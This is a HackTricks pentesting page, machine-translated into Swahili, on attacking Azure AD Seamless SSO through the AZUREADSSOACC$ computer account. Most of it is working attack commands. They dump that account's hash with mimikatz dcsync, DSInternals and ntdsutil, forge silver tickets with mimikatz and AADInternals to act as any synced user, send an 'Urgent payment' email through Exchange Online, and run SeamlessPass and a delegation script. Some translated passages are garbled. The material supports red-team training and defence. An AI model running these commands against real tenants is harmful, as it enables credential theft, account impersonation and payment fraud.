Az - Seamless SSO

Reading time: 7 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Basic Information

From the docs: Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) moja kwa moja inaingia watumiaji wanapokuwa kwenye vifaa vyao vya kampuni vilivyounganishwa na mtandao wa kampuni yako. Wakati imewezeshwa, watumiaji hawahitaji kuandika nywila zao ili kuingia kwenye Azure AD, na kwa kawaida, hata kuandika majina yao ya mtumiaji. Kipengele hiki kinawapa watumiaji wako ufikiaji rahisi wa programu zako za msingi wa wingu bila kuhitaji vipengele vyovyote vya ziada vya ndani.

https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works

Kimsingi Azure AD Seamless SSO inaingia watumiaji wanapokuwa katika PC iliyounganishwa na eneo la ndani.

Inasaidiwa na PHS (Password Hash Sync) na PTA (Pass-through Authentication).

Desktop SSO inatumia Kerberos kwa uthibitishaji. Wakati imewekwa, Azure AD Connect inaunda akaunti ya kompyuta inayoitwa AZUREADSSOACC$ katika AD ya ndani. Nywila ya akaunti ya AZUREADSSOACC$ inatumwa kama maandiko wazi kwa Azure AD wakati wa usanidi.

Tiketi za Kerberos zimefungwa kwa kutumia NTHash (MD4) ya nywila na Azure AD inatumia nywila iliyotumwa kufungua tiketi hizo.

Azure AD inatoa kiungo (https://autologon.microsoftazuread-sso.com) ambacho kinakubali tiketi za Kerberos. Kivinjari cha mashine iliyounganishwa na eneo kinapeleka tiketi hizi kwa kiungo hiki kwa SSO.

On-prem -> cloud

Nywila ya mtumiaji AZUREADSSOACC$ haitabadilika kamwe. Hivyo, msimamizi wa eneo anaweza kuathiri hash ya akaunti hii, na kisha kuitumia kuunda tiketi za fedha kuungana na Azure na mtumiaji yeyote wa ndani aliyeunganishwa:

bash
# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit

# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local

# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos

Na hash unaweza sasa kuunda tiketi za fedha:

bash
# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier

# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit

# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."

Ili kutumia tiketi ya fedha, hatua zifuatazo zinapaswa kutekelezwa:

  1. Anzisha Kivinjari: Mozilla Firefox inapaswa kuzinduliwa.
  2. Sanidi Kivinjari:
  1. Fikia Programu ya Mtandao:
  • Tembelea programu ya mtandao ambayo imeunganishwa na eneo la AAD la shirika. Mfano wa kawaida ni Office 365.
  1. Mchakato wa Uthibitishaji:
  • Katika skrini ya kuingia, jina la mtumiaji linapaswa kuingizwa, huku uwanja wa nywila ukiwa tupu.
  • Ili kuendelea, bonyeza TAB au ENTER.

tip

Hii haipuuzi MFA ikiwa imewezeshwa

Chaguo la 2 bila dcsync - SeamlessPass

Pia inawezekana kufanya shambulio hili bila shambulio la dcsync ili kuwa na siri zaidi kama ilivyoelezwa katika chapisho hili la blog. Kwa hiyo unahitaji tu moja ya yafuatayo:

  • TGT ya mtumiaji aliyeathiriwa: Hata kama huna moja lakini mtumiaji ameathiriwa, unaweza kupata moja kwa kutumia hila ya uwakilishi wa TGT bandia iliyotekelezwa katika zana nyingi kama Kekeo na Rubeus.
  • Tiketi ya Dhahabu: Ikiwa una ufunguo wa KRBTGT, unaweza kuunda TGT unayohitaji kwa mtumiaji aliyeathiriwa.
  • Hash ya NTLM ya mtumiaji aliyeathiriwa au ufunguo wa AES: SeamlessPass itawasiliana na kidhibiti cha eneo na habari hii ili kuunda TGT.
  • Hash ya NTLM ya akaunti ya AZUREADSSOACC$ au ufunguo wa AES: Kwa habari hii na Kitambulisho cha Usalama wa mtumiaji (SID) wa kushambulia inawezekana kuunda tiketi ya huduma na kuthibitisha na wingu (kama ilivyofanywa katika njia ya awali).

Hatimaye, kwa TGT inawezekana kutumia zana SeamlessPass na:

seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>

Zaidi ya taarifa za kuweka Firefox kufanya kazi na seamless SSO zinaweza kupatikana katika chapisho hili la blog.

Kuunda tiketi za Kerberos kwa watumiaji wa wingu pekee

Ikiwa wasimamizi wa Active Directory wana ufikiaji wa Azure AD Connect, wanaweza kweka SID kwa mtumiaji yeyote wa wingu. Kwa njia hii tiketi za Kerberos zinaweza kuundwa pia kwa watumiaji wa wingu pekee. Sharti pekee ni kwamba SID iwe SID.

caution

Kubadilisha SID ya watumiaji wa admin wa wingu pekee sasa imezuiwa na Microsoft.
Kwa taarifa zaidi angalia https://aadinternals.com/post/on-prem_admin/

On-prem -> Wingu kupitia Uwakilishi wa Rasilimali ulio na Mipaka

Mtu yeyote anayeweza kusimamia akaunti za kompyuta (AZUREADSSOACC$) katika kontena au OU ambayo akaunti hii iko ndani yake, anaweza kuweka uwakilishi wa rasilimali ulio na mipaka juu ya akaunti na kuufikia.

python
python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$

References

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks